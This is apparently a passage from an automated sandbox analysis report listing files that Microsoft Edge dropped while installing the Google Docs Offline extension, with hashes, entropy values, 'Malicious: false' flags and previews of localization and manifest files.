SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
